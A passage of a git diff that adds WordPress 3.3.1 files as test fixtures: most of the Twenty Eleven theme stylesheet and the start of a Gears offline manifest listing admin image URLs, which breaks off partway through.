.widget_tag_cloud { + float: none; + margin-right: 0; + width: 100%; +} +.error404 .widgettitle { + font-size: 10px; + letter-spacing: 0.1em; + line-height: 2.6em; + text-transform: uppercase; +} + + +/* =Showcase +----------------------------------------------- */ + +h1.showcase-heading { + color: #666; + font-size: 10px; + font-weight: 500; + letter-spacing: 0.1em; + line-height: 2.6em; + text-transform: uppercase; +} + +/* Intro */ +article.intro { + background: #f9f9f9; + border-bottom: none; + margin: -1.855em -8.9% 1.625em; + padding: 0 8.9%; +} +article.intro .entry-title { + display: none; +} +article.intro .entry-content { + color: #111; + font-size: 16px; + padding: 1.625em 0 0.625em; +} +article.intro .edit-link a { + background: #aaa; + -moz-border-radius: 3px; + border-radius: 3px; + color: #fff; + font-size: 12px; + padding: 0 8px; + position: absolute; + top: 30px; + right: 20px; + text-decoration: none; +} +article.intro .edit-link a:hover, +article.intro .edit-link a:focus, +article.intro .edit-link a:active { + background: #777; +} + +/* Featured post */ +section.featured-post { + float: left; + margin: -1.625em -8.9% 1.625em; + padding: 1.625em 8.9% 0; + position: relative; + width: 100%; +} +section.featured-post .hentry { + border: none; + color: #666; + margin: 0; +} +section.featured-post .entry-meta { + clip: rect(1px 1px 1px 1px); /* IE6, IE7 */ + clip: rect(1px, 1px, 1px, 1px); + position: absolute !important; +} + +/* Small featured post */ +section.featured-post .attachment-small-feature { + float: right; + height: auto; + margin: 0 -8.9% 1.625em 0; + max-width: 59%; + position: relative; + right: -15px; +} +section.featured-post.small { + padding-top: 0; +} +section.featured-post .attachment-small-feature:hover, +section.featured-post .attachment-small-feature:focus, +section.featured-post .attachment-small-feature:active { + opacity: .8; +} +article.feature-image.small { + float: left; + margin: 0 0 1.625em; + width: 45%; +} +article.feature-image.small .entry-title { + line-height: 1.2em; +} +article.feature-image.small .entry-summary { + color: #555; + font-size: 13px; +} +article.feature-image.small .entry-summary p a { + background: #222; + color: #eee; + display: block; + left: -23.8%; + padding: 9px 26px 9px 85px; + position: relative; + text-decoration: none; + top: 20px; + width: 180px; + z-index: 1; +} +article.feature-image.small .entry-summary p a:hover { + background: #1982d1; + color: #eee; + color: rgba(255,255,255,0.8); +} + +/* Large featured post */ +section.feature-image.large { + border: none; + max-height: 288px; + padding: 0; + width: 100%; +} +section.feature-image.large .showcase-heading { + display: none; +} +section.feature-image.large .hentry { + border-bottom: none; + left: 9%; + margin: 1.625em 9% 0 0; + position: absolute; + top: 0; +} +article.feature-image.large .entry-title a { + background: #222; + background: rgba(0,0,0,0.8); + -moz-border-radius: 3px; + border-radius: 3px; + color: #fff; + display: inline-block; + font-weight: 300; + padding: .2em 20px; +} +section.feature-image.large:hover .entry-title a, +section.feature-image.large .entry-title:hover a { + background: #eee; + background: rgba(255,255,255,0.8); + color: #222; +} +article.feature-image.large .entry-summary { + display: none; +} +section.feature-image.large img { + display: block; + height: auto; + max-width: 117.9%; + padding: 0 0 6px; +} + +/* Featured Slider */ +.featured-posts { + border-bottom: 1px solid #ddd; + display: block; + height: 328px; + margin: 1.625em -8.9% 20px; + max-width: 1000px; + padding: 0; + position: relative; + overflow: hidden; +} +.featured-posts .showcase-heading { + padding-left: 8.9%; +} +.featured-posts section.featured-post { + background: #fff; + height: 288px; + left: 0; + margin: 0; + position: absolute; + top: 30px; + width: auto; +} +.featured-posts section.featured-post.large { + max-width: 100%; + overflow: hidden; +} +.featured-posts section.featured-post { + -webkit-transition-duration: 200ms; + -webkit-transition-property: opacity, visibility; + -webkit-transition-timing-function: ease; + -moz-transition-duration: 200ms; + -moz-transition-property: opacity, visibility; + -moz-transition-timing-function: ease; +} +.featured-posts section.featured-post { + opacity: 0; + visibility: hidden; +} +.featured-posts #featured-post-1 { + opacity: 1; + visibility: visible; +} +.featured-post .feature-text:after, +.featured-post .feature-image.small:after { + content: ' '; + background: -moz-linear-gradient(top, rgba(255,255,255,0) 0%, rgba(255,255,255,1) 100%); /* FF3.6+ */ + background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,rgba(255,255,255,0)), color-stop(100%,rgba(255,255,255,1))); /* Chrome,Safari4+ */ + background: -webkit-linear-gradient(top, rgba(255,255,255,0) 0%,rgba(255,255,255,1) 100%); /* Chrome10+,Safari5.1+ */ + background: -o-linear-gradient(top, rgba(255,255,255,0) 0%,rgba(255,255,255,1) 100%); /* Opera11.10+ */ + background: -ms-linear-gradient(top, rgba(255,255,255,0) 0%,rgba(255,255,255,1) 100%); /* IE10+ */ + filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#00ffffff', endColorstr='#ffffff',GradientType=0 ); /* IE6-9 */ + background: linear-gradient(top, rgba(255,255,255,0) 0%,rgba(255,255,255,1) 100%); /* W3C */ + width: 100%; + height: 45px; + position: absolute; + top: 230px; +} +.featured-post .feature-image.small:after { + top: 253px; +} +#content .feature-slider { + top: 5px; + right: 8.9%; + overflow: visible; + position: absolute; +} +.feature-slider ul { + list-style-type: none; + margin: 0; +} +.feature-slider li { + float: left; + margin: 0 6px; +} +.feature-slider a { + background: #3c3c3c; + background: rgba(60,60,60,0.9); + -moz-border-radius: 12px; + border-radius: 12px; + -webkit-box-shadow: inset 1px 1px 5px rgba(0,0,0,0.5), inset 0 0 2px rgba(255,255,255,0.5); + -moz-box-shadow: inset 1px 1px 5px rgba(0,0,0,0.5), inset 0 0 2px rgba(255,255,255,0.5); + box-shadow: inset 1px 1px 5px rgba(0,0,0,0.5), inset 0 0 2px rgba(255,255,255,0.5); + display: block; + width: 14px; + height: 14px; +} +.feature-slider a.active { + background: #1982d1; + -webkit-box-shadow: inset 1px 1px 5px rgba(0,0,0,0.4), inset 0 0 2px rgba(255,255,255,0.8); + -moz-box-shadow: inset 1px 1px 5px rgba(0,0,0,0.4), inset 0 0 2px rgba(255,255,255,0.8); + box-shadow: inset 1px 1px 5px rgba(0,0,0,0.4), inset 0 0 2px rgba(255,255,255,0.8); + cursor: default; + opacity: 0.5; +} + +/* Recent Posts */ +section.recent-posts { + padding: 0 0 1.625em; +} +section.recent-posts .hentry { + border: none; + margin: 0; +} +section.recent-posts .other-recent-posts { + border-bottom: 1px solid #ddd; + list-style: none; + margin: 0; +} +section.recent-posts .other-recent-posts li { + padding: 0.3125em 0; + position: relative; +} +section.recent-posts .other-recent-posts .entry-title { + border-top: 1px solid #ddd; + font-size: 17px; +} +section.recent-posts .other-recent-posts a[rel="bookmark"] { + color: #373737; + float: left; + max-width: 84%; +} +section.recent-posts .other-recent-posts a[rel="bookmark"]:after { + content: '-'; + color: transparent; + font-size: 11px; +} +section.recent-posts .other-recent-posts a[rel="bookmark"]:hover { +} +section.recent-posts .other-recent-posts .comments-link a, +section.recent-posts .other-recent-posts .comments-link > span { + border-bottom: 2px solid #999; + bottom: -2px; + color: #444; + display: block; + font-size: 10px; + font-weight: 500; + line-height: 2.76333em; + padding: 0.3125em 0 0.3125em 1em; + position: absolute; + right: 0; + text-align: right; + text-transform: uppercase; + z-index: 1; +} +section.recent-posts .other-recent-posts .comments-link > span { + border-color: #bbb; + color: #888; +} +section.recent-posts .other-recent-posts .comments-link a:hover { + color: #1982d1; + border-color: #1982d1; +} +section.recent-posts .other-recent-posts li:after { + clear: both; + content: '.'; + display: block; + height: 0; + visibility: hidden; +} + + +/* =Attachments +----------------------------------------------- */ + +.image-attachment div.attachment { + background: #f9f9f9; + border: 1px solid #ddd; + border-width: 1px 0; + margin: 0 -8.9% 1.625em; + overflow: hidden; + padding: 1.625em 1.625em 0; + text-align: center; +} +.image-attachment div.attachment img { + display: block; + height: auto; + margin: 0 auto 1.625em; + max-width: 100%; +} +.image-attachment div.attachment a img { + border-color: #f9f9f9; +} +.image-attachment div.attachment a:focus img, +.image-attachment div.attachment a:hover img, +.image-attachment div.attachment a:active img { + border-color: #ddd; + background: #fff; +} +.image-attachment .entry-caption p { + font-size: 10px; + letter-spacing: 0.1em; + line-height: 2.6em; + margin: 0 0 2.6em; + text-transform: uppercase; +} + + +/* =Navigation +-------------------------------------------------------------- */ + +#content nav { + clear: both; + overflow: hidden; + padding: 0 0 1.625em; +} +#content nav a { + font-size: 12px; + font-weight: bold; + line-height: 2.2em; +} +#nav-above { + padding: 0 0 1.625em; +} +#nav-above { + display: none; +} +.paged #nav-above { + display: block; +} +.nav-previous { + float: left; + width: 50%; +} +.nav-next { + float: right; + text-align: right; + width: 50%; +} +#content nav .meta-nav { + font-weight: normal; +} + +/* Singular navigation */ +#nav-single { + float: right; + position: relative; + top: -0.3em; + text-align: right; + width: 100%; + z-index: 1; +} +#nav-single .nav-previous, +#nav-single .nav-next { + float: none; + width: auto; +} +#nav-single .nav-next { + padding-left: .5em; +} + + +/* =Widgets +----------------------------------------------- */ + +.widget-area { + font-size: 12px; +} +.widget { + clear: both; + margin: 0 0 2.2em; +} +.widget-title { + color: #666; + font-size: 10px; + font-weight: 500; + letter-spacing: 0.1em; + line-height: 2.6em; + text-transform: uppercase; +} +.widget ul { + font-size: 15px; + margin: 0; +} +.widget ul ul { + margin-left: 1.5em; +} +.widget ul li { + color: #777; + font-size: 13px; +} +.widget a { + font-weight: bold; + text-decoration: none; +} +.widget a:hover, +.widget a:focus, +.widget a:active { + text-decoration: underline; +} + +/* Search Widget */ +.widget_search form { + margin: 0 0 1.625em; +} +.widget_search #s { + width: 77%; +} +.widget_search #searchsubmit { + background: #ddd; + border: 1px solid #ccc; + -webkit-box-shadow: inset 0px -1px 1px rgba(0, 0, 0, 0.09); + -moz-box-shadow: inset 0px -1px 1px rgba(0, 0, 0, 0.09); + box-shadow: inset 0px -1px 1px rgba(0, 0, 0, 0.09); + color: #888; + font-size: 13px; + line-height: 25px; + position: relative; + top: -2px; +} +.widget_search #searchsubmit:active { + background: #1982d1; + border-color: #0861a5; + -webkit-box-shadow: inset 0px 1px 1px rgba(0, 0, 0, 0.1); + -moz-box-shadow: inset 0px 1px 1px rgba(0, 0, 0, 0.1); + box-shadow: inset 0px 1px 1px rgba(0, 0, 0, 0.1); + color: #bfddf3; +} + +/* Ephemera Widget */ +section.ephemera ol, +.widget_twentyeleven_ephemera ol { + list-style: square; + margin: 5px 0 0; +} +.widget_twentyeleven_ephemera .widget-entry-title { + font-size: 15px; + font-weight: bold; + padding: 0; +} +.widget_twentyeleven_ephemera .comments-link a, +.widget_twentyeleven_ephemera .comments-link > span { + color: #666; + display: block; + font-size: 10px; + font-weight: 500; + line-height: 2.76333em; + text-transform: uppercase; +} +section.ephemera .entry-title .comments-link a:hover, +.widget_twentyeleven_ephemera .entry-title .comments-link a:hover { +} +section.ephemera .entry-title a span { + color: #29628d; +} + +/* Twitter */ +.widget_twitter li { + list-style-type: none; + margin-bottom: 14px; +} +.widget_twitter .timesince { + display: block; + font-size: 11px; + margin-right: -10px; + text-align: right; +} + +/* Widget Image */ +.widget_image img { + height: auto; + max-width: 100%; +} + +/* Calendar Widget */ + +.widget_calendar #wp-calendar { + color: #555; + width: 95%; + text-align: center; +} +.widget_calendar #wp-calendar caption, +.widget_calendar #wp-calendar td, +.widget_calendar #wp-calendar th { + text-align: center; +} +.widget_calendar #wp-calendar caption { + font-size: 11px; + font-weight: 500; + padding: 5px 0 3px 0; + text-transform: uppercase; +} +.widget_calendar #wp-calendar th { + background: #f4f4f4; + border-top: 1px solid #ccc; + border-bottom: 1px solid #ccc; + font-weight: bold; +} +.widget_calendar #wp-calendar tfoot td { + background: #f4f4f4; + border-top: 1px solid #ccc; + border-bottom: 1px solid #ccc; +} + + +/* =Comments +----------------------------------------------- */ + +#comments-title { + color: #666; + font-size: 10px; + font-weight: 500; + line-height: 2.6em; + padding: 0 0 2.6em; + text-transform: uppercase; +} +.nopassword, +.nocomments { + color: #aaa; + font-size: 24px; + font-weight: 100; + margin: 26px 0; + text-align: center; +} +.commentlist { + list-style: none; + margin: 0 auto; + width: 68.9%; +} +.content .commentlist, +.page-template-sidebar-page-php .commentlist { + width: 100%; /* reset the width for the one-column and sidebar page layout */ +} +.commentlist > li.comment { + background: #f6f6f6; + border: 1px solid #ddd; + -moz-border-radius: 3px; + border-radius: 3px; + margin: 0 0 1.625em; + padding: 1.625em; + position: relative; +} +.commentlist .pingback { + margin: 0 0 1.625em; + padding: 0 1.625em; +} +.commentlist .children { + list-style: none; + margin: 0; +} +.commentlist .children li.comment { + background: #fff; + border-left: 1px solid #ddd; + -moz-border-radius: 0 3px 3px 0; + border-radius: 0 3px 3px 0; + margin: 1.625em 0 0; + padding: 1.625em; + position: relative; +} +.commentlist .children li.comment .fn { + display: block; +} +.comment-meta .fn { + font-style: normal; +} +.comment-meta { + color: #666; + font-size: 12px; + line-height: 2.2em; +} +.commentlist .children li.comment .comment-meta { + line-height: 1.625em; + margin-left: 50px; +} +.commentlist .children li.comment .comment-content { + margin: 1.625em 0 0; +} +.comment-meta a { + font-weight: bold; +} +.comment-meta a:focus, +.comment-meta a:active, +.comment-meta a:hover { +} +.commentlist .avatar { + -moz-border-radius: 3px; + border-radius: 3px; + -webkit-box-shadow: 0 1px 2px #ccc; + -moz-box-shadow: 0 1px 2px #ccc; + box-shadow: 0 1px 2px #ccc; + left: -102px; + padding: 0; + position: absolute; + top: 0; +} +.commentlist > li:before { + content: url(images/comment-arrow.png); + left: -21px; + position: absolute; +} +.commentlist > li.pingback:before { + content: ''; +} +.commentlist .children .avatar { + background: none; + -webkit-box-shadow: none; + -moz-box-shadow: none; + box-shadow: none; + left: 2.2em; + padding: 0; + top: 2.2em; +} +a.comment-reply-link { + background: #eee; + -moz-border-radius: 3px; + border-radius: 3px; + color: #666; + display: inline-block; + font-size: 12px; + padding: 0 8px; + text-decoration: none; +} +a.comment-reply-link:hover, +a.comment-reply-link:focus, +a.comment-reply-link:active { + background: #888; + color: #fff; +} +a.comment-reply-link > span { + display: inline-block; + position: relative; + top: -1px; +} + +/* Post author highlighting */ +.commentlist > li.bypostauthor { + background: #ddd; + border-color: #d3d3d3; +} +.commentlist > li.bypostauthor .comment-meta { + color: #575757; +} +.commentlist > li.bypostauthor .comment-meta a:focus, +.commentlist > li.bypostauthor .comment-meta a:active, +.commentlist > li.bypostauthor .comment-meta a:hover { +} +.commentlist > li.bypostauthor:before { + content: url(images/comment-arrow-bypostauthor.png); +} + +/* Post Author threaded comments */ +.commentlist .children > li.bypostauthor { + background: #ddd; + border-color: #d3d3d3; +} + +/* sidebar-page.php comments */ +/* Make sure we have room for our comment avatars */ +.page-template-sidebar-page-php .commentlist > li.comment, +.page-template-sidebar-page-php.commentlist .pingback { + margin-left: 102px; + width: auto; +} +/* And a full-width comment form */ +.page-template-sidebar-page-php #respond { + width: auto; +} + +/* Comment Form */ +#respond { + background: #ddd; + border: 1px solid #d3d3d3; + -moz-border-radius: 3px; + border-radius: 3px; + margin: 0 auto 1.625em; + padding: 1.625em; + position: relative; + width: 68.9%; +} +#respond input[type="text"], +#respond textarea { + background: #fff; + border: 4px solid #eee; + -moz-border-radius: 5px; + border-radius: 5px; + -webkit-box-shadow: inset 0 1px 3px rgba(204,204,204,0.95); + -moz-box-shadow: inset 0 1px 3px rgba(204,204,204,0.95); + box-shadow: inset 0 1px 3px rgba(204,204,204,0.95); + position: relative; + padding: 10px; + text-indent: 80px; +} +#respond .comment-form-author, +#respond .comment-form-email, +#respond .comment-form-url, +#respond .comment-form-comment { + position: relative; +} +#respond .comment-form-author label, +#respond .comment-form-email label, +#respond .comment-form-url label, +#respond .comment-form-comment label { + background: #eee; + -webkit-box-shadow: 1px 2px 2px rgba(204,204,204,0.8); + -moz-box-shadow: 1px 2px 2px rgba(204,204,204,0.8); + box-shadow: 1px 2px 2px rgba(204,204,204,0.8); + color: #555; + display: inline-block; + font-size: 13px; + left: 4px; + min-width: 60px; + padding: 4px 10px; + position: relative; + top: 40px; + z-index: 1; +} +#respond input[type="text"]:focus, +#respond textarea:focus { + text-indent: 0; + z-index: 1; +} +#respond textarea { + resize: vertical; + width: 95%; +} +#respond .comment-form-author .required, +#respond .comment-form-email .required { + color: #bd3500; + font-size: 22px; + font-weight: bold; + left: 75%; + position: absolute; + top: 45px; + z-index: 1; +} +#respond .comment-notes, +#respond .logged-in-as { + font-size: 13px; +} +#respond p { + margin: 10px 0; +} +#respond .form-submit { + float: right; + margin: -20px 0 10px; +} +#respond input#submit { + background: #222; + border: none; + -moz-border-radius: 3px; + border-radius: 3px; + -webkit-box-shadow: 0px 1px 2px rgba(0,0,0,0.3); + -moz-box-shadow: 0px 1px 2px rgba(0,0,0,0.3); + box-shadow: 0px 1px 2px rgba(0,0,0,0.3); + color: #eee; + cursor: pointer; + font-size: 15px; + margin: 20px 0; + padding: 5px 42px 5px 22px; + position: relative; + left: 30px; + text-shadow: 0 -1px 0 rgba(0,0,0,0.3); +} +#respond input#submit:active { + background: #1982d1; + color: #bfddf3; +} +#respond #cancel-comment-reply-link { + color: #666; + margin-left: 10px; + text-decoration: none; +} +#respond .logged-in-as a:hover, +#respond #cancel-comment-reply-link:hover { + text-decoration: underline; +} +.commentlist #respond { + margin: 1.625em 0 0; + width: auto; +} +#reply-title { + color: #373737; + font-size: 24px; + font-weight: bold; + line-height: 30px; +} +#cancel-comment-reply-link { + color: #888; + display: block; + font-size: 10px; + font-weight: normal; + line-height: 2.2em; + letter-spacing: 0.05em; + position: absolute; + right: 1.625em; + text-decoration: none; + text-transform: uppercase; + top: 1.1em; +} +#cancel-comment-reply-link:focus, +#cancel-comment-reply-link:active, +#cancel-comment-reply-link:hover { + color: #ff4b33; +} +#respond label { + line-height: 2.2em; +} +#respond input[type=text] { + display: block; + height: 24px; + width: 75%; +} +#respond p { + font-size: 12px; +} +p.comment-form-comment { + margin: 0; +} +.form-allowed-tags { + display: none; +} + + +/* =Footer +----------------------------------------------- */ + +#colophon { + clear: both; +} +#supplementary { + border-top: 1px solid #ddd; + padding: 1.625em 7.6%; + overflow: hidden; +} + +/* Two Footer Widget Areas */ +#supplementary.two .widget-area { + float: left; + margin-right: 3.7%; + width: 48.1%; +} +#supplementary.two .widget-area + .widget-area { + margin-right: 0; +} + +/* Three Footer Widget Areas */ +#supplementary.three .widget-area { + float: left; + margin-right: 3.7%; + width: 30.85%; +} +#supplementary.three .widget-area + .widget-area + .widget-area { + margin-right: 0; +} + +/* Site Generator Line */ +#site-generator { + background: #f9f9f9; + border-top: 1px solid #ddd; + color: #666; + font-size: 12px; + line-height: 2.2em; + padding: 2.2em 0.5em; + text-align: center; +} +#site-generator a { + color: #555; + font-weight: bold; +} +#site-generator .sep { + background: url(images/wordpress.png) center left no-repeat; + color: transparent; + display: inline-block; + height: 16px; + line-height: 16px; + margin: 0 7px; + width: 16px; +} + + +/* =Responsive Structure +----------------------------------------------- */ + +@media (max-width: 800px) { + /* Simplify the basic layout */ + #main #content { + margin: 0 7.6%; + width: auto; + } + #nav-below { + border-bottom: 1px solid #ddd; + margin-bottom: 1.625em; + } + #main #secondary { + float: none; + margin: 0 7.6%; + width: auto; + } + /* Simplify the showcase template */ + .page-template-showcase-php .featured-posts { + min-height: 280px; + } + .featured-posts section.featured-post { + height: auto; + } + .page-template-showcase-php section.recent-posts { + float: none; + margin: 0; + width: 100%; + } + .page-template-showcase-php #main .widget-area { + float: none; + margin: 0; + width: auto; + } + .page-template-showcase-php .other-recent-posts { + border-bottom: 1px solid #ddd; + } + /* Simplify the showcase template when small feature */ + section.featured-post .attachment-small-feature, + .one-column section.featured-post .attachment-small-feature { + border: none; + display: block; + float: left; + height: auto; + margin: 0.625em auto 1.025em; + max-width: 30%; + position: static; + } + article.feature-image.small { + float: right; + margin: 0 0 1.625em; + width: 64%; + } + .one-column article.feature-image.small .entry-summary { + height: auto; + } + article.feature-image.small .entry-summary p a { + left: 0; + padding-left: 20px; + padding-right: 20px; + width: auto; + } + /* Remove the margin on singular articles */ + .singular .entry-header, + .singular .entry-content, + .singular footer.entry-meta, + .singular #comments-title { + width: 100%; + } + /* Simplify the pullquotes and pull styles */ + .singular blockquote.pull { + margin: 0 0 1.625em; + } + .singular .pull.alignleft { + margin: 0 1.625em 0 0; + } + .singular .pull.alignright { + margin: 0 0 0 1.625em; + } + .singular .entry-meta .edit-link a { + left: 0; + position: absolute; + top: 40px; + } + .singular #author-info { + margin: 2.2em -8.8% 0; + padding: 20px 8.8%; + } + /* Make sure we have room for our comment avatars */ + .commentlist { + width: 100%; + } + .commentlist > li.comment, + .commentlist .pingback { + margin-left: 102px; + width: auto; + } + /* And a full-width comment form */ + #respond { + width: auto; + } + /* No need to float footer widgets at this size */ + #colophon #supplementary .widget-area { + float: none; + margin-right: 0; + width: auto; + } + /* No need to float 404 widgets at this size */ + .error404 #main .widget { + float: none; + margin-right: 0; + width: auto; + } + /* Make sure embeds fit their containers */ + embed, + object { + max-width: 100%; + } + +} +@media (max-width: 650px) { + /* @media (max-width: 650px) Reduce font-sizes for better readability on smaller devices */ + body, input, textarea { + font-size: 13px; + } + #site-title a { + font-size: 24px; + } + #site-description { + font-size: 12px; + } + #access ul { + font-size: 12px; + } + article.intro .entry-content { + font-size: 12px; + } + .entry-title { + font-size: 21px; + } + .featured-post .entry-title { + font-size: 14px; + } + .singular .entry-title { + font-size: 28px; + } + .entry-meta { + font-size: 12px; + } + blockquote { + margin: 0; + } + blockquote.pull { + font-size: 17px; + } + /* Reposition the site title and description slightly */ + #site-title { + padding: 5.30625em 0 0; + } + #site-title, + #site-description { + margin-right: 0; + } + /* Make sure the logo and search form don't collide */ + #branding #searchform { + top: 1.625em !important; + } + /* Floated content doesn't work well at this size */ + .alignleft, + .alignright { + float: none; + margin-left: 0; + margin-right: 0; + } + /* Make sure the post-post navigation doesn't collide with anything */ + #nav-single { + display: block; + position: static; + } + .singular .hentry { + padding: 1.625em 0 0; + } + .singular.page .hentry { + padding: 1.625em 0 0; + } + /* Talking avatars take up too much room at this size */ + .commentlist > li.comment, + .commentlist > li.pingback { + margin-left: 0 !important; + } + .commentlist .avatar { + background: transparent; + display: block; + padding: 0; + position: static; + } + .commentlist .children .avatar { + background: none; + left: 2.2em; + padding: 0; + position: absolute; + top: 2.2em; + } + /* Use the available space in the smaller comment form */ + #respond input[type="text"] { + width: 95%; + } + #respond .comment-form-author .required, + #respond .comment-form-email .required { + left: 95%; + } + #content .gallery-columns-3 .gallery-item { + width: 31%; + padding-right: 2%; + } + #content .gallery-columns-3 .gallery-item img { + width: 100%; + height: auto; + } + +} +@media (max-width: 450px) { + #content .gallery-columns-2 .gallery-item { + width: 45%; + padding-right: 4%; + } + #content .gallery-columns-2 .gallery-item img { + width: 100%; + height: auto; + } + +} +@media only screen and (min-device-width: 320px) and (max-device-width: 480px) { + body { + padding: 0; + } + #page { + margin-top: 0; + } + #branding { + border-top: none; + } + +} + + +/* =Print +----------------------------------------------- */ + +@media print { + body { + background: none !important; + font-size: 10pt; + } + footer.entry-meta a[rel=bookmark]:link:after, + footer.entry-meta a[rel=bookmark]:visited:after { + content: " [" attr(href) "] "; /* Show URLs */ + } + #page { + clear: both !important; + display: block !important; + float: none !important; + max-width: 100%; + position: relative !important; + } + #branding { + border-top: none !important; + padding: 0; + } + #branding hgroup { + margin: 0; + } + #site-title a { + font-size: 21pt; + } + #site-description { + font-size: 10pt; + } + #branding #searchform { + display: none; + } + #branding img { + display: none; + } + #access { + display: none; + } + #main { + border-top: none; + box-shadow: none; + } + #primary { + float: left; + margin: 0; + width: 100%; + } + #content { + margin: 0; + width: auto; + } + .singular #content { + margin: 0; + width: 100%; + } + .singular .entry-header .entry-meta { + position: static; + } + .entry-meta .edit-link a { + display: none; + } + #content nav { + display: none; + } + .singular .entry-header, + .singular .entry-content, + .singular footer.entry-meta, + .singular #comments-title { + margin: 0; + width: 100%; + } + .singular .hentry { + padding: 0; + } + .entry-title, + .singular .entry-title { + font-size: 21pt; + } + .entry-meta { + font-size: 10pt; + } + .entry-header .comments-link { + display: none; + } + .page-link { + display: none; + } + .singular #author-info { + background: none; + border-bottom: none; + border-top: none; + margin: 2.2em 0 0; + padding: 0; + } + #respond { + display: none; + } + .widget-area { + display: none; + } + #colophon { + display: none; + } + + /* Comments */ + .commentlist > li.comment { + background: none; + border: 1px solid #ddd; + -moz-border-radius: 3px 3px 3px 3px; + border-radius: 3px 3px 3px 3px; + margin: 0 auto 1.625em; + padding: 1.625em; + position: relative; + width: auto; + } + .commentlist .avatar { + height: 39px; + left: 2.2em; + top: 2.2em; + width: 39px; + } + .commentlist li.comment .comment-meta { + line-height: 1.625em; + margin-left: 50px; + } + .commentlist li.comment .fn { + display: block; + } + .commentlist li.comment .comment-content { + margin: 1.625em 0 0; + } + .commentlist .comment-edit-link { + display: none; + } + .commentlist > li::before, + .commentlist > li.bypostauthor::before { + content: ''; + } + .commentlist .reply { + display: none; + } + + /* Post author highlighting */ + .commentlist > li.bypostauthor { + color: #444; + } + .commentlist > li.bypostauthor .comment-meta { + color: #666; + } + .commentlist > li.bypostauthor:before { + content: none; + } + + /* Post Author threaded comments */ + .commentlist .children > li.bypostauthor { + background: #fff; + border-color: #ddd; + } + .commentlist .children > li.bypostauthor > article, + .commentlist .children > li.bypostauthor > article .comment-meta { + color: #666; + } + +} + + +/* =IE7 +----------------------------------------------- */ + +#ie7 article.intro { + margin-left: -7.6%; + margin-right: -7.6%; + padding-left: -7.6%; + padding-right: -7.6%; + max-width: 1000px; +} +#ie7 section.featured-post { + margin-left: -7.6%; + margin-right: -7.6%; + max-width: 850px; +} +#ie7 section.recent-posts { + margin-right: 7.6%; +} diff --git a/spec/fixtures/wp_versions/3.3.1/wp-admin/gears-manifest.php b/spec/fixtures/wp_versions/3.3.1/wp-admin/gears-manifest.php new file mode 100755 index 00000000..15b402f6 --- /dev/null +++ b/spec/fixtures/wp_versions/3.3.1/wp-admin/gears-manifest.php @@ -0,0 +1,165 @@ +{ +"betaManifestVersion" : 1, +"version" : "5ac7244b5aa005b569735c705aaf614a", +"entries" : [ +{ "url" : "images/align-center.png", "ignoreQuery" : true } +{ "url" : "images/align-left.png", "ignoreQuery" : true } +{ "url" : "images/align-none.png", "ignoreQuery" : true } +{ "url" : "images/align-right.png", "ignoreQuery" : true } +{ "url" : "images/archive-link.png", "ignoreQuery" : true } +{ "url" : "images/blue-grad.png", "ignoreQuery" : true } +{ "url" : "images/bubble_bg.gif", "ignoreQuery" : true } +{ "url" : "images/bubble_bg-rtl.gif", "ignoreQuery" : true } +{ "url" : "images/button-grad.png", "ignoreQuery" : true } +{ "url" : "images/button-grad-active.png", "ignoreQuery" : true } +{ "url" : "images/comment-grey-bubble.png", "ignoreQuery" : true } +{ "url" : "images/date-button.gif", "ignoreQuery" : true } +{ "url" : "images/ed-bg.gif", "ignoreQuery" : true } +{ "url" : "images/fade-butt.png", "ignoreQuery" : true } +{ "url" : "images/fav.png", "ignoreQuery" : true } +{ "url" : "images/fav-arrow.gif", "ignoreQuery" : true } +{ "url" : "images/fav-arrow-rtl.gif", "ignoreQuery" : true } +{ "url" : "images/generic.png", "ignoreQuery" : true } +{ "url" : "images/gray-grad.png", "ignoreQuery" : true } +{ "url" : "images/icons32.png", "ignoreQuery" : true } +{ "url" : "images/icons32-vs.png", "ignoreQuery" : true } +{ "url" : "images/list.png", "ignoreQuery" : true } +{ "url" : "images/wpspin_light.gif", "ignoreQuery" : true } +{ "url" : "images/wpspin_dark.gif", "ignoreQuery" : true } +{ "url" : "images/logo.gif", "ignoreQuery" : true } +{ "url" : "images/logo-ghost.png", "ignoreQuery" : true } +{ "url" : "images/logo-login.gif", "ignoreQuery" : true } +{ "url" : "images/media-button-image.gif", "ignoreQuery" : true } +{ "url" : "images/media-button-music.gif", "ignoreQuery" : true } +{ "url" : "images/media-button-other.gif", "ignoreQuery" : true } +{ "url" : "images/media-button-video.gif", "ignoreQuery" : true } +{ "url" : "images/menu.png", "ignoreQuery" : true } +{ "url" : "images/menu-vs.png", "ignoreQuery" : true } +{ "url" : "images/menu-arrows.gif", "ignoreQuery" : true } +{ "url" : "images/menu-bits.gif", "ignoreQuery" : true } +{ "url" : "images/menu-bits-rtl.gif", "ignoreQuery" : true } +{ "url" : "images/menu-dark.gif", "ignoreQuery" : true } +{ "url" : "images/menu-dark-rtl.gif", "ignoreQuery" : true } +{ "url" : "images/no.png", "ignoreQuery" : true } +{ "url" : "images/required.gif", "ignoreQuery" : true } +{ "url" : "images/resize.gif", "ignoreQuery" : true } +{ "url" : "images/screen-options-right.gif", "ignoreQuery" : true } +{ "url" : "images/screen-options-right-up.gif", "ignoreQuery" : true } +{ "url" : "images/se.png", "ignoreQuery" : true } +{ "url" : "images/star.gif", "ignoreQuery" : true } +{ "url" : "images/toggle-arrow.gif", "ignoreQuery" : true } +{ "url" : "images/toggle-arrow-rtl.gif", "ignoreQuery" : true } +{ "url" : "images/white-grad.png", "ignoreQuery" : true } +{ "url" : "images/white-grad-active.png", "ignoreQuery" : true } +{ "url" : "images/wordpress-logo.png", "ignoreQuery" : true } +{ "url" : "images/wp-logo.png", "ignoreQuery" : true } +{ "url" : "images/xit.gif", "ignoreQuery" : true } +{ "url" : "images/yes.png", "ignoreQuery" : true } +{ "url" : "../wp-includes/images/crystal/archive.png", "ignoreQuery" : true } +{ "url" : "../wp-includes/images/crystal/audio.png", "ignoreQuery" : true } +{ "url" : "../wp-includes/images/crystal/code.png", "ignoreQuery" : true } +{ "url" : "../wp-includes/images/crystal/default.png", "ignoreQuery" : true } +{ "url" : "../wp-includes/images/crystal/document.png", "ignoreQuery" : true } +{ "url" : "../wp-includes/images/crystal/interactive.png", "ignoreQuery" : true } +{ "url" : "../wp-includes/images/crystal/text.png", "ignoreQuery" : true } +{ "url" : "../wp-includes/images/crystal/video.png", "ignoreQuery" : true } +{ "url" : "../wp-includes/images/crystal/spreadsheet.png", "ignoreQuery" : true } +{ "url" : "../wp-includes/images/rss.png", "ignoreQuery" : true } +{ "url" : 